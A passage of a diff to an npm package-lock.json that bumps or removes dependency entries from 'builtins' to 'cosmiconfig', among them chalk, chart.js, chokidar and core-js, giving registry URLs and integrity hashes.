+ "peer": true, "requires": { "node-gyp-build": "^4.3.0" } @@ -22532,102 +19843,33 @@ "resolved": "https://registry.npmjs.org/builtin-status-codes/-/builtin-status-codes-3.0.0.tgz", "integrity": "sha1-hZgoeOIbmOHGZCXgPQF0eI9Wnug=" }, - "builtins": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/builtins/-/builtins-5.0.1.tgz", - "integrity": "sha512-qwVpFEHNfhYJIzNRBvd2C1kyo6jz3ZSMPyyuR47OPdiKWlbYnZNyDWuyR175qDnAJLiCo5fBBqPb3RiXgWlkOQ==", - "dev": true, - "peer": true, + "call-bind": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.8.tgz", + "integrity": "sha512-oKlSFMcMwpUg2ednkhQ454wfWiU/ul3CkJe/PEHcTKuiX6RpbehUiFMXu13HalGZxfUwCQzZG747YXBn1im9ww==", "requires": { - "semver": "^7.0.0" - }, - "dependencies": { - "semver": { - "version": "7.3.7", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.7.tgz", - "integrity": "sha512-QlYTucUYOews+WeEujDoEGziz4K6c47V/Bd+LjSSYcA94p+DmINdf7ncaUinThfvZyu13lN9OY1XDxt8C0Tw0g==", - "dev": true, - "peer": true, - "requires": { - "lru-cache": "^6.0.0" - } - } + "call-bind-apply-helpers": "^1.0.0", + "es-define-property": "^1.0.0", + "get-intrinsic": "^1.2.4", + "set-function-length": "^1.2.2" } }, - "bytes": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz", - "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==" - }, - "cacache": { - "version": "15.3.0", - "resolved": "https://registry.npmjs.org/cacache/-/cacache-15.3.0.tgz", - "integrity": "sha512-VVdYzXEn+cnbXpFgWs5hTT7OScegHVmLhJIR8Ufqk3iFD6A6j5iSX1KuBTfNEv4tdJWE2PzA6IVFtcLC7fN9wQ==", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "@npmcli/fs": "^1.0.0", - "@npmcli/move-file": "^1.0.1", - "chownr": "^2.0.0", - "fs-minipass": "^2.0.0", - "glob": "^7.1.4", - "infer-owner": "^1.0.4", - "lru-cache": "^6.0.0", - "minipass": "^3.1.1", - "minipass-collect": "^1.0.2", - "minipass-flush": "^1.0.5", - "minipass-pipeline": "^1.2.2", - "mkdirp": "^1.0.3", - "p-map": "^4.0.0", - "promise-inflight": "^1.0.1", - "rimraf": "^3.0.2", - "ssri": "^8.0.1", - "tar": "^6.0.2", - "unique-filename": "^1.1.1" - } - }, - "cacheable-lookup": { - "version": "6.0.4", - "resolved": "https://registry.npmjs.org/cacheable-lookup/-/cacheable-lookup-6.0.4.tgz", - "integrity": "sha512-mbcDEZCkv2CZF4G01kr8eBd/5agkt9oCqz75tJMSIsquvRZ2sL6Hi5zGVKi/0OSC9oO1GHfJ2AV0ZIOY9vye0A==" - }, - "cacheable-request": { - "version": "7.0.2", - "resolved": "https://registry.npmjs.org/cacheable-request/-/cacheable-request-7.0.2.tgz", - "integrity": "sha512-pouW8/FmiPQbuGpkXQ9BAPv/Mo5xDGANgSNXzTzJ8DrKGuXOssM4wIQRjfanNRh3Yu5cfYPvcorqbhg2KIJtew==", + "call-bind-apply-helpers": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz", + "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==", "requires": { - "clone-response": "^1.0.2", - "get-stream": "^5.1.0", - "http-cache-semantics": "^4.0.0", - "keyv": "^4.0.0", - "lowercase-keys": "^2.0.0", - "normalize-url": "^6.0.1", - "responselike": "^2.0.0" - }, - "dependencies": { - "get-stream": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.2.0.tgz", - "integrity": "sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA==", - "requires": { - "pump": "^3.0.0" - } - }, - "lowercase-keys": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-2.0.0.tgz", - "integrity": "sha512-tqNXrS78oMOE73NMxK4EMLQsQowWf8jKooH9g7xPavRT706R6bkQJ6DY2Te7QukaZsulxa30wQ7bk0pm4XiHmA==" - } + "es-errors": "^1.3.0", + "function-bind": "^1.1.2" } }, - "call-bind": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.2.tgz", - "integrity": "sha512-7O+FbCihrB5WGbFYesctwmTKae6rOiIzmz1icreWJ+0aA7LJfuqhEso2T9ncpcFtzMQtzXf2QGGueWJGTYsqrA==", + "call-bound": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/call-bound/-/call-bound-1.0.4.tgz", + "integrity": "sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==", "requires": { - "function-bind": "^1.1.1", - "get-intrinsic": "^1.0.2" + "call-bind-apply-helpers": "^1.0.2", + "get-intrinsic": "^1.3.0" } }, "callsites": { @@ -22641,19 +19883,6 @@ "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz", "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==" }, - "camelcase-keys": { - "version": "6.2.2", - "resolved": "https://registry.npmjs.org/camelcase-keys/-/camelcase-keys-6.2.2.tgz", - "integrity": "sha512-YrwaA0vEKazPBkn0ipTiMpSajYDSe+KjQfrjhcBMxJt/znbvlHd8Pw/Vamaz5EB4Wfhs3SUR3Z9mwRu/P3s3Yg==", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "camelcase": "^5.3.1", - "map-obj": "^4.0.0", - "quick-lru": "^4.0.1" - } - }, "camelize": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/camelize/-/camelize-1.0.0.tgz", @@ -22672,9 +19901,9 @@ } }, "caniuse-lite": { - "version": "1.0.30001374", - "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001374.tgz", - "integrity": "sha512-mWvzatRx3w+j5wx/mpFN5v5twlPrabG8NqX2c6e45LCpymdoGqNvRkRutFUqpRTXKFQFNQJasvK0YT7suW6/Hw==" + "version": "1.0.30001731", + "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001731.tgz", + "integrity": "sha512-lDdp2/wrOmTRWuoB5DpfNkC0rJDU8DqRa6nYL6HK6sytw70QMopt/NIc/9SM7ylItlBWfACXk0tEn37UWM/+mg==" }, "caseless": { "version": "0.12.0", @@ -22695,13 +19924,54 @@ } }, "chalk": { - "version": "2.4.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", - "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, "requires": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "requires": { + "color-convert": "^2.0.1" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "requires": { + "has-flag": "^4.0.0" + } + } } }, "char-regex": { @@ -22711,14 +19981,17 @@ "dev": true }, "chart.js": { - "version": "3.9.1", - "resolved": "https://registry.npmjs.org/chart.js/-/chart.js-3.9.1.tgz", - "integrity": "sha512-Ro2JbLmvg83gXF5F4sniaQ+lTbSv18E+TIf2cOeiH1Iqd2PGFOtem+DUufMZsCJwFE7ywPOpfXFBwRTGq7dh6w==" + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/chart.js/-/chart.js-4.5.0.tgz", + "integrity": "sha512-aYeC/jDgSEx8SHWZvANYMioYMZ2KX02W6f6uVfyteuCGcadDLcYVHdfdygsTQkQ4TKn5lghoojAsPj5pu0SnvQ==", + "requires": { + "@kurkle/color": "^0.3.0" + } }, "chartjs-adapter-luxon": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/chartjs-adapter-luxon/-/chartjs-adapter-luxon-1.2.0.tgz", - "integrity": "sha512-h1lEns7+8cUN/Dmk24dhrT9hpAimKImQxzHpILqXn2kocdzj9b/fDlBa8v8/OMq5rq0uZEx/NV1WpByH4l2/Rw==", + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/chartjs-adapter-luxon/-/chartjs-adapter-luxon-1.3.1.tgz", + "integrity": "sha512-yxHov3X8y+reIibl1o+j18xzrcdddCLqsXhriV2+aQ4hCR66IYFchlRXUvrJVoxglJ380pgytU7YWtoqdIgqhg==", "requires": {} }, "check-error": { @@ -22735,39 +20008,13 @@ } }, "chokidar": { - "version": "3.5.3", - "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz", - "integrity": "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==", + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-4.0.1.tgz", + "integrity": "sha512-n8enUVCED/KVRQlab1hr3MVpcVMvxtZjmEa956u+4YijlmQED223XMSYj2tLuKvr4jcCTzNNMpQDUer72MMmzA==", "dev": true, "requires": { - "anymatch": "~3.1.2", - "braces": "~3.0.2", - "fsevents": "~2.3.2", - "glob-parent": "~5.1.2", - "is-binary-path": "~2.1.0", - "is-glob": "~4.0.1", - "normalize-path": "~3.0.0", - "readdirp": "~3.6.0" - }, - "dependencies": { - "glob-parent": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", - "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", - "dev": true, - "requires": { - "is-glob": "^4.0.1" - } - } - } - }, - "chownr": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/chownr/-/chownr-2.0.0.tgz", - "integrity": "sha512-bIomtDF5KGpdogkLd9VspvFzk9KfpyyGlS8YFVZl7TGPBHL5snIOnxeshwVgPteQ9b4Eydl+pVbIyE1DcvCWgQ==", - "dev": true, - "optional": true, - "peer": true + "readdirp": "^4.0.1" + } }, "chrome-trace-event": { "version": "1.0.3", @@ -22781,57 +20028,28 @@ "integrity": "sha512-xmDt/QIAdeZ9+nfdPsaBCpMvHNLFiLdjj59qjqn+6iPe6YmHGQ35sBnQ8uslRBXFmXkiZQOJRjvQeoGppoTjjg==", "dev": true }, - "cids": { - "version": "0.7.5", - "resolved": "https://registry.npmjs.org/cids/-/cids-0.7.5.tgz", - "integrity": "sha512-zT7mPeghoWAu+ppn8+BS1tQ5qGmbMfB4AregnQjA/qHY3GC1m1ptI9GkWNlgeu38r7CuRdXB47uY2XgAYt6QVA==", + "cipher-base": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/cipher-base/-/cipher-base-1.0.6.tgz", + "integrity": "sha512-3Ek9H3X6pj5TgenXYtNWdaBon1tgYCaebd+XPg0keyjEbEfkD4KkmAxkQ/i1vYvxdcT5nscLBfq9VJRmCBcFSw==", "requires": { - "buffer": "^5.5.0", - "class-is": "^1.1.0", - "multibase": "~0.6.0", - "multicodec": "^1.0.0", - "multihashes": "~0.4.15" + "inherits": "^2.0.4", + "safe-buffer": "^5.2.1" }, "dependencies": { - "multicodec": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/multicodec/-/multicodec-1.0.4.tgz", - "integrity": "sha512-NDd7FeS3QamVtbgfvu5h7fd1IlbaC4EQ0/pgU4zqE2vdHCmBGsUa0TiM8/TdSeG6BMPC92OOCf8F1ocE/Wkrrg==", - "requires": { - "buffer": "^5.6.0", - "varint": "^5.0.0" - } + "safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==" } } }, - "cipher-base": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/cipher-base/-/cipher-base-1.0.4.tgz", - "integrity": "sha512-Kkht5ye6ZGmwv40uUDZztayT2ThLQGfnj/T71N/XzeZeo3nf8foyW7zGTsPYkEya3m5f3cAypH+qe7YOrM1U2Q==", - "requires": { - "inherits": "^2.0.1", - "safe-buffer": "^5.0.1" - } - }, "cjs-module-lexer": { - "version": "1.2.2", - "resolved": "https://registry.npmjs.org/cjs-module-lexer/-/cjs-module-lexer-1.2.2.tgz", - "integrity": "sha512-cOU9usZw8/dXIXKtwa8pM0OTJQuJkxMN6w30csNRUerHfeQ5R6U3kkU/FtJeIf3M202OHfY2U8ccInBG7/xogA==", + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/cjs-module-lexer/-/cjs-module-lexer-1.2.3.tgz", + "integrity": "sha512-0TNiGstbQmCFwt4akjjBg5pLRTSyj/PkWQ1ZoO2zntmg9yLqSRxwEa4iCfQLGjqhiqBfOJa7W/E8wfGrTDmlZQ==", "dev": true }, - "class-is": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/class-is/-/class-is-1.1.0.tgz", - "integrity": "sha512-rhjH9AG1fvabIDoGRVH587413LPjTZgmDF9fOFCbFJQV4yuocX1mHxxvXI4g3cGwbVY9wAYIoKlg1N79frJKQw==" - }, - "clean-stack": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/clean-stack/-/clean-stack-2.2.0.tgz", - "integrity": "sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A==", - "dev": true, - "optional": true, - "peer": true - }, "clipboard": { "version": "2.0.11", "resolved": "https://registry.npmjs.org/clipboard/-/clipboard-2.0.11.tgz", @@ -22843,13 +20061,13 @@ } }, "cliui": { - "version": "7.0.4", - "resolved": "https://registry.npmjs.org/cliui/-/cliui-7.0.4.tgz", - "integrity": "sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==", + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-8.0.1.tgz", + "integrity": "sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ==", "dev": true, "requires": { "string-width": "^4.2.0", - "strip-ansi": "^6.0.0", + "strip-ansi": "^6.0.1", "wrap-ansi": "^7.0.0" } }, @@ -22869,14 +20087,6 @@ "shallow-clone": "^3.0.0" } }, - "clone-response": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/clone-response/-/clone-response-1.0.3.tgz", - "integrity": "sha512-ROoL94jJH2dUVML2Y/5PEDNaSHgeOdSDicUyS7izcF63G6sTc/FTjLub4b8Il9S8S0beOfYt0TaA5qvFK+w0wA==", - "requires": { - "mimic-response": "^1.0.0" - } - }, "co": { "version": "4.6.0", "resolved": "https://registry.npmjs.org/co/-/co-4.6.0.tgz", @@ -22884,9 +20094,9 @@ "dev": true }, "collect-v8-coverage": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/collect-v8-coverage/-/collect-v8-coverage-1.0.1.tgz", - "integrity": "sha512-iBPtljfCNcTKNAto0KEtDfZ3qzjJvqE3aTGZsbhjSBlorqpXJlaWWtPO35D+ZImoC3KWejX64o+yPGxhWSTzfg==", + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/collect-v8-coverage/-/collect-v8-coverage-1.0.2.tgz", + "integrity": "sha512-lHl4d5/ONEbLlJvaJNtsF/Lz+WvB07u2ycqTYbdrq7UypDXailES4valYb2eWiJFxZlVmpGekfqoxQhzyFdT4Q==", "dev": true }, "color-convert": { @@ -22902,18 +20112,10 @@ "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", "integrity": "sha1-p9BVi9icQveV3UIyj3QIMcpTvCU=" }, - "color-support": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/color-support/-/color-support-1.1.3.tgz", - "integrity": "sha512-qiBjkpbMLO/HL68y+lh4q0/O1MZFj2RX6X/KmMa3+gJD3z+WwI1ZzDHysvqHGS3mP6mznPckpXmw1nI9cJjyRg==", - "dev": true, - "optional": true, - "peer": true - }, "colord": { - "version": "2.9.2", - "resolved": "https://registry.npmjs.org/colord/-/colord-2.9.2.tgz", - "integrity": "sha512-Uqbg+J445nc1TKn4FoDPS6ZZqAvEDnwrH42yo8B40JSOgSLxMZ/gt3h4nmCtPLQeXhjJJkqBx7SCY35WnIixaQ==", + "version": "2.9.3", + "resolved": "https://registry.npmjs.org/colord/-/colord-2.9.3.tgz", + "integrity": "sha512-jeC1axXpnb0/2nn/Y1LPuLdgXBLH7aDcHu4KEKfqw3CUhX7ZpfBSlPKyqXE6btIgEzfWtrX3/tyBCaCvXvMkOw==", "dev": true }, "colorette": { @@ -22936,87 +20138,25 @@ "integrity": "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==", "dev": true }, - "commondir": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/commondir/-/commondir-1.0.1.tgz", - "integrity": "sha1-3dgA2gxmEnOTzKWVDqloo6rxJTs=", - "dev": true - }, - "compress-brotli": { - "version": "1.3.8", - "resolved": "https://registry.npmjs.org/compress-brotli/-/compress-brotli-1.3.8.tgz", - "integrity": "sha512-lVcQsjhxhIXsuupfy9fmZUFtAIdBmXA7EGY6GBdgZ++qkM9zG4YFT8iU7FoBxzryNDMOpD1HIFHUSX4D87oqhQ==", - "requires": { - "@types/json-buffer": "~3.0.0", - "json-buffer": "~3.0.1" - } - }, "concat-map": { "version": "0.0.1", "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", "integrity": "sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=", "dev": true }, - "console-control-strings": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/console-control-strings/-/console-control-strings-1.1.0.tgz", - "integrity": "sha1-PXz0Rk22RG6mRL9LOVB/mFEAjo4=", - "dev": true, - "optional": true, - "peer": true - }, - "content-disposition": { - "version": "0.5.4", - "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.4.tgz", - "integrity": "sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==", - "requires": { - "safe-buffer": "5.2.1" - }, - "dependencies": { - "safe-buffer": { - "version": "5.2.1", - "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", - "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==" - } - } - }, - "content-hash": { - "version": "2.5.2", - "resolved": "https://registry.npmjs.org/content-hash/-/content-hash-2.5.2.tgz", - "integrity": "sha512-FvIQKy0S1JaWV10sMsA7TRx8bpU+pqPkhbsfvOJAdjRXvYxEckAwQWGwtRjiaJfh+E0DvcWUGqcdjwMGFjsSdw==", - "requires": { - "cids": "^0.7.1", - "multicodec": "^0.5.5", - "multihashes": "^0.4.15" - } - }, - "content-type": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.4.tgz", - "integrity": "sha512-hIP3EEPs8tB9AT1L+NUqtwOAps4mk2Zob89MWXMHjHWg9milF/j4osnnQLXBCBFBk/tvIG/tUc9mOUJiPBhPXA==" - }, "convert-source-map": { "version": "1.8.0", "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.8.0.tgz", "integrity": "sha512-+OQdjP49zViI/6i7nIJpA8rAl4sV/JdPfU9nZs3VqOwGIgizICvuN2ru6fMd+4llL0tar18UYJXfZ/TWtmhUjA==", + "dev": true, "requires": { "safe-buffer": "~5.1.1" } }, - "cookie": { - "version": "0.5.0", - "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.5.0.tgz", - "integrity": "sha512-YZ3GUyn/o8gfKJlnlX7g7xq4gyO6OSuhGPKaaGssGB2qgDUS0gPgtTvoyZLTt9Ab6dC4hfc9dV5arkvc/OCmrw==" - }, - "cookie-signature": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz", - "integrity": "sha512-QADzlaHc8icV8I7vbaJXJwod9HWYp8uCqf1xa4OfNu1T7JVxQIrUgOWtHdNDtPiywmFbiS12VjotIXLrKM3orQ==" - }, "cookiejar": { - "version": "2.1.3", - "resolved": "https://registry.npmjs.org/cookiejar/-/cookiejar-2.1.3.tgz", - "integrity": "sha512-JxbCBUdrfr6AQjOXrxoTvAMJO4HBTUIlBzslcJPAz+/KT8yk53fXun51u+RenNYvad/+Vc2DIz5o9UxlCDymFQ==" + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/cookiejar/-/cookiejar-2.1.4.tgz", + "integrity": "sha512-LDx6oHrK+PhzLKJU9j5S7/Y3jM/mUHvD/DeI1WQmJn652iPC5Y4TBzC9l+5OMOXlyTTA+SmVUPm0HQUwpD5Jqw==" }, "copy-to-clipboard": { "version": "3.3.2", @@ -23027,79 +20167,29 @@ } }, "copy-webpack-plugin": { - "version": "11.0.0", - "resolved": "https://registry.npmjs.org/copy-webpack-plugin/-/copy-webpack-plugin-11.0.0.tgz", - "integrity": "sha512-fX2MWpamkW0hZxMEg0+mYnA40LTosOSa5TqZ9GYIBzyJa9C3QUaMPSE2xAi/buNr8u89SfD9wHSQVBzrRa/SOQ==", + "version": "13.0.0", + "resolved": "https://registry.npmjs.org/copy-webpack-plugin/-/copy-webpack-plugin-13.0.0.tgz", + "integrity": "sha512-FgR/h5a6hzJqATDGd9YG41SeDViH+0bkHn6WNXCi5zKAZkeESeSxLySSsFLHqLEVCh0E+rITmCf0dusXWYukeQ==", "dev": true, "requires": { - "fast-glob": "^3.2.11", "glob-parent": "^6.0.1", - "globby": "^13.1.1", "normalize-path": "^3.0.0", - "schema-utils": "^4.0.0", - "serialize-javascript": "^6.0.0" - }, - "dependencies": { - "ajv": { - "version": "8.9.0", - "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.9.0.tgz", - "integrity": "sha512-qOKJyNj/h+OWx7s5DePL6Zu1KeM9jPZhwBqs+7DzP6bGOvqzVCSf0xueYmVuaC/oQ/VtS2zLMLHdQFbkka+XDQ==", - "dev": true, - "requires": { - "fast-deep-equal": "^3.1.1", - "json-schema-traverse": "^1.0.0", - "require-from-string": "^2.0.2", - "uri-js": "^4.2.2" - } - }, - "ajv-keywords": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz", - "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", - "dev": true, - "requires": { - "fast-deep-equal": "^3.1.3" - } - }, - "json-schema-traverse": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", - "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", - "dev": true - }, - "schema-utils": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.0.0.tgz", - "integrity": "sha512-1edyXKgh6XnJsJSQ8mKWXnN/BVaIbFMLpouRUrXgVq7WYne5kw3MW7UPhO44uRXQSIpTSXoJbmrR2X0w9kUTyg==", - "dev": true, - "requires": { - "@types/json-schema": "^7.0.9", - "ajv": "^8.8.0", - "ajv-formats": "^2.1.1", - "ajv-keywords": "^5.0.0" - } - } + "schema-utils": "^4.2.0", + "serialize-javascript": "^6.0.2", + "tinyglobby": "^0.2.12" } }, "core-js": { - "version": "3.25.0", - "resolved": "https://registry.npmjs.org/core-js/-/core-js-3.25.0.tgz", - "integrity": "sha512-CVU1xvJEfJGhyCpBrzzzU1kjCfgsGUxhEvwUV2e/cOedYWHdmluamx+knDnmhqALddMG16fZvIqvs9aijsHHaA==" + "version": "3.43.0", + "resolved": "https://registry.npmjs.org/core-js/-/core-js-3.43.0.tgz", + "integrity": "sha512-N6wEbTTZSYOY2rYAn85CuvWWkCK6QweMn7/4Nr3w+gDBeBhk/x4EJeY6FPo4QzDoJZxVTv8U7CMvgWk6pOHHqA==" }, "core-js-compat": { - "version": "3.24.1", - "resolved": "https://registry.npmjs.org/core-js-compat/-/core-js-compat-3.24.1.tgz", - "integrity": "sha512-XhdNAGeRnTpp8xbD+sR/HFDK9CbeeeqXT6TuofXh3urqEevzkWmLRgrVoykodsw8okqo2pu1BOmuCKrHx63zdw==", + "version": "3.44.0", + "resolved": "https://registry.npmjs.org/core-js-compat/-/core-js-compat-3.44.0.tgz", + "integrity": "sha512-JepmAj2zfl6ogy34qfWtcE7nHKAJnKsQFRn++scjVS2bZFllwptzw61BZcZFYBPpUznLfAvh0LGhxKppk04ClA==", "requires": { - "browserslist": "^4.21.3", - "semver": "7.0.0" - }, - "dependencies": { - "semver": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.0.0.tgz", - "integrity": "sha512-+GB6zVA9LWh6zovYQLALHwv5rb2PHGlJi3lfiqIHxR0uuwCgefcOJc59v9fv1w8GbStwxuuqqAjI9NMAOOgq1A==" - } + "browserslist": "^4.25.1" } }, "core-util-is": { @@ -23107,26 +20197,33 @@ "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz", "integrity": "sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=" }, - "cors": { - "version": "2.8.5", - "resolved": "https://registry.npmjs.org/cors/-/cors-2.8.5.tgz", - "integrity": "sha512-KIHbLJqu73RGr/hnbrO9uBeixNGuvSQjul/jdFvS/KFSIH1hWVd1ng7zOHx+YrEfInLG7q4n6GHQ9cDtxv/P6g==", - "requires": { - "object-assign": "^4", - "vary": "^1" - } - }, "cosmiconfig": { - "version": "7.0.1", - "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-7.0.1.tgz", - "integrity": "sha512-a1YWNUV2HwGimB7dU2s1wUMurNKjpx60HxBB6xUM8Re+2s1g1IIfJvFR0/iCF+XHdE0GMTKTuLR32UQff4TEyQ==", + "version": "9.0.0", + "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-9.0.0.tgz", + "integrity": "sha512-itvL5h8RETACmOTFc4UfIyB2RfEHi71Ax6E/PivVxq9NseKbOWpeyHEOIbmAw1rs8Ak0VursQNww7lf7YtUwzg==", "dev": true, "requires": { - "@types/parse-json": "^4.0.0", - "import-fresh": "^3.2.1", 